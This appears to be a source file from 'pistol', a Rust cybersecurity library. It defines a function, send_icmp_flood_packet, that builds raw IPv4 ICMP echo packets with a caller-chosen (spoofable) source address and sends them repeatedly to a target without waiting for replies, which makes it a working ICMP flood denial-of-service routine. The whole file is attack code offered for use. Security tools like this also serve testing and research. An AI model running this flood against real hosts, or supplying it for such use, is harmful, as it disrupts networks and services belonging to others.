pistol 4.0.18

A Rust Library about Cybersecurity
Documentation 
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use chrono::Utc;
use pnet::packet::icmp;
use pnet::packet::icmp::IcmpCode;
use pnet::packet::icmp::IcmpType;
use pnet::packet::icmp::MutableIcmpPacket;
use pnet::packet::icmp::echo_request::MutableEchoRequestPacket;
use pnet::packet::ip::IpNextHeaderProtocols;
use pnet::packet::ipv4;
use pnet::packet::ipv4::Ipv4Flags;
use pnet::packet::ipv4::MutableIpv4Packet;
use rand::Rng;
use std::net::Ipv4Addr;
use std::panic::Location;

use crate::error::PistolError;
use crate::layer::ICMP_HEADER_SIZE;
use crate::layer::IPV4_HEADER_SIZE;
use crate::layer::layer3_ipv4_send;

const TTL: u8 = 64;
pub fn send_icmp_flood_packet(
    dst_ipv4: Ipv4Addr,
    _: u16, // unified interface
    src_ipv4: Ipv4Addr,
    _: u16, // unified interface
    max_same_packet: usize,
) -> Result<usize, PistolError> {
    const ICMP_DATA_SIZE: usize = 16;
    let mut rng = rand::rng();
    // ip header
    let mut ip_buff = [0u8; IPV4_HEADER_SIZE + ICMP_HEADER_SIZE + ICMP_DATA_SIZE];
    let mut ip_header = match MutableIpv4Packet::new(&mut ip_buff) {
        Some(p) => p,
        None => {
            return Err(PistolError::BuildPacketError {
                location: format!("{}", Location::caller()),
            });
        }
    };
    ip_header.set_version(4);
    ip_header.set_header_length(5);
    ip_header.set_source(src_ipv4);
    ip_header.set_destination(dst_ipv4);
    ip_header.set_total_length((IPV4_HEADER_SIZE + ICMP_HEADER_SIZE + ICMP_DATA_SIZE) as u16);
    let id = rng.random();
    ip_header.set_identification(id);
    ip_header.set_flags(Ipv4Flags::DontFragment);
    ip_header.set_ttl(TTL);
    ip_header.set_next_level_protocol(IpNextHeaderProtocols::Icmp);
    let c = ipv4::checksum(&ip_header.to_immutable());
    ip_header.set_checksum(c);

    let mut icmp_header = match MutableEchoRequestPacket::new(&mut ip_buff[IPV4_HEADER_SIZE..]) {
        Some(p) => p,
        None => {
            return Err(PistolError::BuildPacketError {
                location: format!("{}", Location::caller()),
            });
        }
    };
    icmp_header.set_icmp_type(IcmpType(8));
    icmp_header.set_icmp_code(IcmpCode(0));
    icmp_header.set_sequence_number(1);
    // icmp_header.set_identifier(2);
    icmp_header.set_identifier(rng.random());
    let mut tv_sec = Utc::now().timestamp().to_be_bytes();
    tv_sec.reverse(); // Big-Endian
    let mut tv_usec = Utc::now().timestamp_subsec_millis().to_be_bytes();
    tv_usec.reverse(); // Big-Endian
    let mut timestamp = Vec::new();
    timestamp.extend(tv_sec);
    timestamp.extend(tv_usec);
    // println!("{:?}", timestamp);
    icmp_header.set_payload(&timestamp);

    let mut icmp_header = match MutableIcmpPacket::new(&mut ip_buff[IPV4_HEADER_SIZE..]) {
        Some(p) => p,
        None => {
            return Err(PistolError::BuildPacketError {
                location: format!("{}", Location::caller()),
            });
        }
    };
    let checksum = icmp::checksum(&icmp_header.to_immutable());
    icmp_header.set_checksum(checksum);
    let timeout = None; // not wait the result

    for _ in 0..max_same_packet {
        let _ret = layer3_ipv4_send(dst_ipv4, src_ipv4, &ip_buff, vec![], timeout, false)?;
    }

    Ok(ip_buff.len() * max_same_packet)
}